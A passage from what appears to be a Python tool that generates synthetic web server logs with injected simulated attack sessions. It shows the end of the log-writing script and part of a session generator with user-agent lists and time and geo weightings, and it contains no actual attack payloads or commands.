214 | 215 | if args.additional_attacker_ips != "": 216 | attacker_ips = args.additional_attacker_ips.split(",") 217 | print("Injecting {} additional attack sessions".format(len(attacker_ips))) 218 | for ip in attacker_ips: 219 | attack_start_date = (random.choice(sh.sessions)).start_datetime 220 | attack = Session( 221 | attack_start_date, 222 | list(apps[args.app].attacks[args.attack_type]()), 223 | user_agent=attacker_user_agent, 224 | username=random.choice(sh.sessions).username, 225 | source_ip=ip, 226 | app=apps[args.app], 227 | ) 228 | attack.attack_payloads = [] 229 | attack.chosen_attack_payloads = [] 230 | sh.add_session(attack) 231 | attacker_sessions.append(attack) 232 | ## Generate and output 233 | 234 | print("Generating the logz and writing them to '{}'".format(args.out)) 235 | Logfile = open(args.out, "w") 236 | print(LogGenerator.log_header[args.server_type], file=Logfile) 237 | 238 | y = 100 / len(sh.sessions) 239 | logs = [] 240 | while sh.active_sessions: 241 | for log in sh.iter(args.server_type): 242 | logs.append(log) 243 | print("{:6.2f}% ".format(100 - (y * len(sh.active_sessions))), end="\r", flush=True) 244 | print("Writing the logs to '{}'".format(args.out)) 245 | sorted_logs = sorted(logs, key=lambda x: x["datetime"], reverse=False) 246 | [print(log["log"], file=Logfile) for log in sorted_logs] 247 | print(" Done! ") 248 | Logfile.flush() 249 | Logfile.close() 250 | print("Thats all Folks!") 251 | 252 | if args.iocs: 253 | print("---------------iocs---------------") # 254 | for attack in attacker_sessions: 255 | print(attack) 256 | -------------------------------------------------------------------------------- /session_generator.py: -------------------------------------------------------------------------------- 1 | from datetime import timedelta, datetime 2 | from models import Session 3 | import random 4 | from string import ascii_lowercase 5 | 6 | 7 | default_user_agents = [ 8 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/91.0.4472.124+Safari/537.36", 9 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/746", 10 | "Mozilla/4.0+(compatible;+MSIE+6.0)", 11 | "Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0", 12 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36", 13 | "Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/72.0.3626.121+Safari/537.36", 14 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.157+Safari/537.36", 15 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.113+Safari/537.36", 16 | "Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/44.0.2403.157+Safari/537.36", 17 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.90+Safari/537.36", 18 | "Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/72.0.3626.121+Safari/537.36", 19 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36", 20 | "Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/46.0.2490.71+Safari/537.36", 21 | "Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.83+Safari/537.1", 22 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.100+Safari/537.36", 23 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36", 24 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/80.0.3987.149+Safari/537.36", 25 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/79.0.3945.88+Safari/537.36", 26 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/78.0.3904.108+Safari/537.36", 27 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.212+Safari/537.36", 28 | "Mozilla/5.0+(Windows+NT+5.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.90+Safari/537.36", 29 | "Mozilla/5.0+(Windows+NT+6.2;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.90+Safari/537.36", 30 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/79.0.3945.130+Safari/537.36", 31 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/85.0.4183.121+Safari/537.36", 32 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/84.0.4147.105+Safari/537.36", 33 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/90.0.4430.93+Safari/537.36", 34 | "Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.113+Safari/537.36", 35 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/87.0.4280.88+Safari/537.36", 36 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/67.0.3396.99+Safari/537.36", 37 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/83.0.4103.116+Safari/537.36", 38 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/88.0.4324.104+Safari/537.36", 39 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/81.0.4044.138+Safari/537.36", 40 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/91.0.4472.124+Safari/537.36", 41 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/80.0.3987.132+Safari/537.36", 42 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/87.0.4280.141+Safari/537.36", 43 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.131+Safari/537.36", 44 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/68.0.3440.106+Safari/537.36", 45 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/72.0.3626.121+Safari/537.36", 46 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/85.0.4183.102+Safari/537.36", 47 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.198+Safari/537.36", 48 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/79.0.3945.88+Safari/537.36", 49 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/84.0.4147.135+Safari/537.36", 50 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/65.0.3325.181+Safari/537.36", 51 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/80.0.3987.163+Safari/537.36", 52 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/91.0.4472.77+Safari/537.36", 53 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/88.0.4324.190+Safari/537.36", 54 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.100+Safari/537.36", 55 | "Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/56.0.2924.76+Safari/537.36", 56 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/64.0.3282.186+Safari/537.36", 57 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36", 58 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.102+Safari/537.36", 59 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987", 60 | "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/61.0.3163", 61 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/15E148Webkit+based+browser", 62 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1+Mobile/15E148+Safari/604.1+Safari+12.1", 63 | "Outlook-iOS/709.2226530.prod.iphone+(3.24.1)+Outlook", 64 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_1_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/16D57Webkit+based+browser", 65 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_3_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.5+Mobile/15E148+Safari/604.1+Safari+13", 66 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.4+Mobile/15E148+Safari/604.1+Safari+13", 67 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/15E148Webkit+based+browser", 68 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_5_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.1.1+Mobile/15E148+Safari/604.1+Safari+13.1", 69 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Webkit+based+browser", 70 | "Outlook-iOS/709.2189947.prod.iphone+(3.24.0)+Outlook", 71 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.3+Mobile/15E148+Safari/604.1+Safari+14", 72 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_4_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.3+Mobile/15E148+Safari/604.1+Safari+14", 73 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_1_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.1+Mobile/15E148+Safari/604.1+Safari+13", 74 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.1+Mobile/15E148+Safari/604.1+Safari+14", 75 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_0+like+Mac+OS+X)+AppleWebKit/602.4.6+(KHTML,+like+Gecko)+Version/10.0+Mobile/14A346+Safari/E7FBAF+Safari+10", 76 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.2+Mobile/15E148+Safari/604.1+Safari+14", 77 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_4_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.1+Mobile/15E148+Safari/604.1+Safari+13.1", 78 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_4_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1.2+Mobile/15E148+Safari/604.1+Safari+12.1", 79 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_3_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1.1+Mobile/15E148+Safari/604.1+Safari+12.1", 80 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_6+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.1.1+Mobile/15E148+Safari/604.1+Safari+14.1", 81 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_4_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/11.0+Mobile/15E148+Safari/604+1+Safari+11", 82 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/15E148+Webkit+based+browser", 83 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_6_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.1.2+Mobile/15E148+Safari/604.1+Safari+13.1", 84 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_7+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.1.2+Mobile/15E148+Safari/604.1+Safari+13.1", 85 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_6+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.1.2+Mobile/15E148+Safari/604.1+Safari+13.1", 86 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.0+Mobile/15E148+Safari/604+Safari+12", 87 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1.2+Mobile/15E148+Safari/604.1+Safari+12.1", 88 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_4_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/15G77+Webkit+based+browser", 89 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0+Mobile/15E148+Safari/604+1+Safari+14", 90 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_0_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0+Mobile/15E148+Safari/604+1+Safari+14", 91 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/11.0+Mobile/15E148+Safari/604+1+Safari+11", 92 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_3_3+like+Mac+OS+X)+AppleWebKit/603.3.8+(KHTML,+like+Gecko)+Version/10.0+Mobile/14G60+Safari/602+1+Safari+10", 93 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_0_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.0+Mobile/15E148+Safari/604+1+Safari+12", 94 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_1_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.1+Mobile/15E148+Safari/604+1+Safari+13", 95 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/11.0+Mobile/15E148+Safari/604+1+Safari+11", 96 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_1_2+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/16C101+Webkit+based+browser", 97 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_2_6+like+Mac+OS+X)+AppleWebKit/604.5.6+(KHTML,+like+Gecko)+Version/11.0+Mobile/15D100+Safari/604+1+Safari+11", 98 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+13_2_3+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/13.0.3+Mobile/15E148+Safari/604+1+Safari+13", 99 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_2_1+like+Mac+OS+X)+AppleWebKit/602.4.6+(KHTML,+like+Gecko)+Version/10.0+Mobile/14D27+Safari/602+1+Safari+10", 100 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_3_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/15E148+Webkit+based+browser", 101 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_4_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0.3+Mobile/15E148+Safari/604+1+Safari+14", 102 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+9_0+like+Mac+OS+X)+AppleWebKit/601.1.46+(KHTML,+like+Gecko)+Version/9.0+Mobile/13A344+Safari+E7FBAFSafari+9", 103 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+14_0+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.0+Mobile/15E148+Safari/604+1+Safari+14", 104 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_0+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.0+Mobile/15E148+Safari/604+1+Safari+12", 105 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_0+like+Mac+OS+X)+AppleWebKit/602.1.50+(KHTML,+like+Gecko)+Version/10.0+YaBrowser/17.4.3.195.10+Mobile/14A346+Safari/E7FBAF+Yandex+Browser+17.4", 106 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_1_4+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.0+Mobile/15E148+Safari/604+1+Safari+12", 107 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+12_0_1+like+Mac+OS+X)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Mobile/16A404+Webkit+based+browser", 108 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_3_2+like+Mac+OS+X)+AppleWebKit/603.2.4+(KHTML,+like+Gecko)+Version/10.0+Mobile/14F89+Safari/602+1+Safari+10", 109 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+9_1+like+Mac+OS+X)+AppleWebKit/601.1.46+(KHTML,+like+Gecko)+Version/9.0+Mobile/13B143+Safari/601+1+Safari+9", 110 | "Mozilla/5.0+(iPhone;+CPU+iPhone+OS+11_0+like+Mac+OS+X)+AppleWebKit/604.1.38+(KHTML,+like+Gecko)+Version/11.0", 111 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322)", 112 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)", 113 | "Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko", 114 | "Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0;+KTXN)", 115 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1)", 116 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0)", 117 | "Mozilla/5.0+(Windows+NT+10.0;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko", 118 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727)", 119 | "Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+125LA;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022)", 120 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322)", 121 | "Mozilla/5.0+(Windows+NT+6.1;+Trident/7.0;+rv:11.0)+like+Gecko", 122 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)", 123 | "Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1)", 124 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+98)", 125 | "Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko", 126 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)", 127 | "Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0)", 128 | "Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0)", 129 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322)", 130 | "Mozilla/5.0+(compatible;+MSIE+10.0;+Windows+NT+6.2)", 131 | "Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0)", 132 | "Mozilla/5.0+(compatible;+MSIE+10.0;+Windows+NT+6.1;+WOW64;+Trident/6.0)", 133 | "Mozilla/5.0+(compatible;+MSIE+10.0;+Windows+NT+6.1;+Trident/6.0)", 134 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+Media+Center+PC+5.0;+.NET+CLR+3.0.04506)", 135 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1)", 136 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+.NET+CLR+1.0.3705)", 137 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+InfoPath.1)", 138 | "Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)", 139 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.0.3705)", 140 | "Mozilla/5.0+(Windows+NT+10.0;+WOW64;+Trident/7.0;+Touch;+rv:11.0)+like+Gecko", 141 | "Mozilla/5.0+(Windows+NT+10.0;+WOW64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.30729;+.NET+CLR+3.5.30729;+rv:11.0)+like+Gecko", 142 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+WOW64;+Trident/4.0;+SLCC1;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)", 143 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727)", 144 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.0.3705;+.NET+CLR+1.1.4322)", 145 | "Mozilla/5.0+(compatible,+MSIE+11,+Windows+NT+6.3;+Trident/7.0;+rv:11.0)+like+Gecko", 146 | "Mozilla/5.0+(compatible;+MSIE+10.0;+Windows+NT+6.2;+WOW64;+Trident/6.0)", 147 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727)", 148 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+InfoPath.1)", 149 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+InfoPath.1)", 150 | "Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64;+Trident/7.0;+rv:11.0)+like+Gecko", 151 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+FunWebProducts;+.NET+CLR+1.1.4322)", 152 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.0.3705;+.NET+CLR+1.1.4322;+Media+Center+PC+4.0)", 153 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+98;+Win+9x+4.90)", 154 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322)", 155 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+1.1.4322;+InfoPath.1;+.NET+CLR+2.0.50727)", 156 | "Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0)", 157 | "Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)", 158 | "Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+FunWebProducts)", 159 | "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+Trident/4.0)", 160 | "Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+Media+Center+PC+6.0;+.NET4.0C;+.NET4.0E)", 161 | ] 162 | 163 | default_geos = { 164 | "GB": 200, 165 | "DE": 1, 166 | "FR": 1, 167 | "IT": 1, 168 | "NL": 1, 169 | } 170 | 171 | hour_profile = { 172 | 0: 1, 173 | 1: 1, 174 | 2: 1, 175 | 3: 1, 176 | 4: 1, 177 | 5: 2, 178 | 6: 5, 179 | 7: 10, 180 | 8: 15, 181 | 9: 15, 182 | 10: 10, 183 | 11: 10, 184 | 12: 15, 185 | 13: 15, 186 | 14: 10, 187 | 15: 10, 188 | 16: 5, 189 | 17: 5, 190 | 18: 15, 191 | 19: 20, 192 | 20: 15, 193 | 21: 10, 194 | 22: 5, 195 | 23: 2, 196 | } 197 | 198 | 199 | def ExpandWeightDictToList(d): 200 | if type(d) != dict: 201 | raise ValueError("should be a dictionary of values and weight") 202 | l = [] 203 | for k in d.keys(): 204 | l += [k] * d[k] 205 | return l 206 | 207 | 208 | def SessionGenerator( 209 | num_sessions, 210 | app, 211 | start_date, 212 | end_date, 213 | average_duration_mins=30, 214 | duration_deviation_mins=5, 215 | user_agents=default_user_agents, 216 | geos=default_geos, 217 | hour_profile=hour_profile, 218 | max_sessions_per_user=5, 219 | ): 220 | geos = ExpandWeightDictToList(geos) 221 | hours = ExpandWeightDictToList(hour_profile) 222 | end_date = end_date - timedelta( 223 | minutes=average_duration_mins + duration_deviation_mins 224 | ) 225 | i = 0 226 | for x1 in range(num_sessions): 227 | i += 1 228 | activity_patterns = list(app.activity_patterns()) 229 | duration = random.randint( 230 | average_duration_mins - duration_deviation_mins, 231 | average_duration_mins + duration_deviation_mins, 232 | ) 233 | sd = RandomDatetime(start_date, end_date, hours) 234 | username = "".join(random.choice(ascii_lowercase) for i in range(2)) + str( 235 | random.randint(100000, 999999) 236 | ) 237 | s1 = Session( 238 | start_datetime=sd, 239 | geo=random.choice(geos), 240 | duration_mins=duration, 241 | activity_patterns=activity_patterns, 242 | user_agent=random.choice(user_agents), 243 | username=username, 244 | app=app, 245 | ) 246 | yield s1 247 | # Add additional user sessions 248 | remaining_potential_user_sessions = max_sessions_per_user - 1 249 | if remaining_potential_user_sessions: 250 | remaining_user_sessions = random.randint( 251 | 0, remaining_potential_user_sessions 252 | ) 253 | else: 254 | remaining_user_sessions = 0 255 | if remaining_user_sessions: 256 | for x2 in range(remaining_user_sessions): 257 | 